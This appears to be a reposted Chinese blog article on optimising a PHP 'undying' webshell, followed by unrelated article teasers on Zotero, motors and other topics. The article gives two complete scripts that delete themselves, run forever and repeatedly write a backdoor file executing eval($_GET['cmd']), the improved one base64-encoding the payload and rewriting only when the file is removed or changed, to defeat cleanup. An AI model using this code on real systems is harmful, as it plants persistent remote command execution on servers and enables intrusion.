【PHP系列】内存马(二)不死马优化

news/2024/11/14 13:49:34/文章来源:https://www.cnblogs.com/o-O-oO/p/18335793

实验环境工具

phpstudy

传统的PHP不死马就是一根筋的往一处写文件,这样就会造成不管文件有没有被修改或者文件是否存在,都会重新创建一个文件,这样会比较占用服务器资源,所以就可以通过这点来对不死马进行优化。

优化前:

<?phpset_time_limit(0);ignore_user_abort(1);unlink(__FILE__);while (1) {$content = '<?php @eval($_GET["cmd"]);?>';file_put_contents("index2.php", $content);usleep(10000);}   
?>

优化后:


<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = './shell.php';// <?php @eval($_GET['cmd']);?>$code = base64_decode('PD9waHAgQGV2YWwoJF9HRVRbJ2NtZCddKTs/Pg==');while(true) {     if (file_exists($file)){if (md5(file_get_contents($file)) === md5($code)){// 如果文件存在,且文件内容没有发生变化,就不进行任何操作}else{// 如果文件存在,但文件内容发生了改变,那么就需要重新写入文件file_put_contents($file, $code);}}else{// 如果文件不存在,那么直接写入文件file_put_contents($file, $code);}usleep(5000);}
?>

注意:这里使用md5加密算法判断文件是否被修改,通过file_exists判断文件是否存在

原创 蟹堡安全团队

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/775869.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Zotero怎样才能形成[2-6]这样的引用

Step01 在Word中引用多篇文献 点击“Add/Edit Citation” 在跳出的Zotero搜索框中,选择“经典视图” 在跳出的“添加/编辑引注”界面中,点击“多重来源”(单一来源) 选中对应的文章后,添加即可、添加成功的效果如下:可以看到[2-6]Step02 在参考文献部分显示 这里针对的是…

zotero参考文献双语引用

实现这样的效果:真服了,今天急着排版,英文是自己对着参考文献一篇一篇敲上去的...

直流电机

电机分类 有刷直流电机工作原理下面这个是LearnEngineering制作的动画,讲解的是直流电机的工作原理,就是把电枢线圈中感应产生的交变电动势,靠换向器配合电刷的换向作用,使之从电刷端引出时变为直流电动势的原理。直流有刷电机是大家最早接触的一类电机,中学时物理课堂上…

Windows 10 如何禁止 自动更新

windows 10 如何禁止 自动更新关闭Windows 10自动更新的方法有多种,‌包括通过Windows设置、‌使用第三方工具、‌禁用Windows Update服务、‌使用本地组策略编辑器、‌任务计划程序以及编辑注册表等。‌通过Windows设置关闭自动更新:‌打开设置应用,‌点击更新与安全,‌选…

我用Awesome-Graphs看论文:解读GraphBolt

这次向大家分享一篇流图处理系统论文GraphBolt,看如何基于计算历史的方式实现增量图计算,并保证与全量图计算语义的一致性。GraphBolt论文:《GraphBolt: Dependency-Driven Synchronous Processing of Streaming Graphs》前面通过文章《论文图谱当如是:Awesome-Graphs用200…

vue部署到iis

下载安装两个IIS模块 URL Rewritehttps://www.iis.net/downloads/microsoft/url-rewriteApplication Request Routinghttps://www.iis.net/downloads/microsoft/application-request-routing安装完成配置 添加网站 物理路径是打包后的文件位置,即dist文件夹:配置网站下的URL …

Java内存区域与内存溢出异常 - 运行时数据区

一、运行时数据区1.1 程序计数器 - 线程私有 可以看做当前线程所执行的字节码行号指示器,在任意时刻一个处理器(对于多核处理器来说是一个内核)都只会执行一条线程中的指令。所以为了线程切换后能恢复到正确的执行位置,每条线程都需要有一个独立的线程计数器,各条线程之间…

在 Hub 上使用 Presidio 进行自动 PII 检测实验

我们在 Hugging Face Hub 上托管的机器学习 (ML) 数据集中发现了一个引人关注的现象: 包含个人未经记录的私密信息。这一现象为机器学习从业者带来了一些特殊挑战。 在本篇博客中,我们将深入探讨含有一种称为个人识别信息 (PII) 的私密信息的各类数据集,分析这些数据集存在的…

大厂面经: 字节跳动 iOS开发实习生-飞书

好家伙, 线上面试,总时长1h30mins左右 整体流程: 0.自我介绍(0-2mins) 1.做的比较难的事情(15min) 我讲我之前写的一个低开平台,写了一个撤销回退功能,提了个pr,用了节流,用了命令模式 1.1.节流怎么用的?用在哪?为什么用? 1.2.节流把前面的触发直接clean了还是怎么处理…

Transport Layer Security for UDPTCP(TLS/DTLS1.2)

参考文章:https://blog.csdn.net/alwaysrun/article/details/89076492https://www.jianshu.com/p/fd0a624d0912https://cloud.tencent.com/developer/article/1928677 文档:https://www.rfc-editor.org/rfc/rfc6347https://www.rfc-editor.org/rfc/rfc52461.SSL/TLS 协议 1.1…

代码随想录Day1

704.二分查找 给定一个 n 个元素有序的(升序)整型数组 nums 和一个目标值 target ,写一个函数搜索 nums 中的 target,如果目标值存在返回下标,否则返回 -1。 示例 1: 输入: nums = [-1,0,3,5,9,12], target = 9 输出: 4 解释: 9 出现在 nums 中并且下标为 4 …

P2119 [NOIP2016 普及组] 魔法阵

P2119 [NOIP2016 普及组] 魔法阵 传送门 1 我们可以先写出\(O(m^4)\)的暴力 #include <bits/stdc++.h> #define int long long #define PII pair<int, int> using namespace std; const int inf = 0x3f3f3f3f; const int MOD = 1e9 + 7, N = 4e4 + 5; …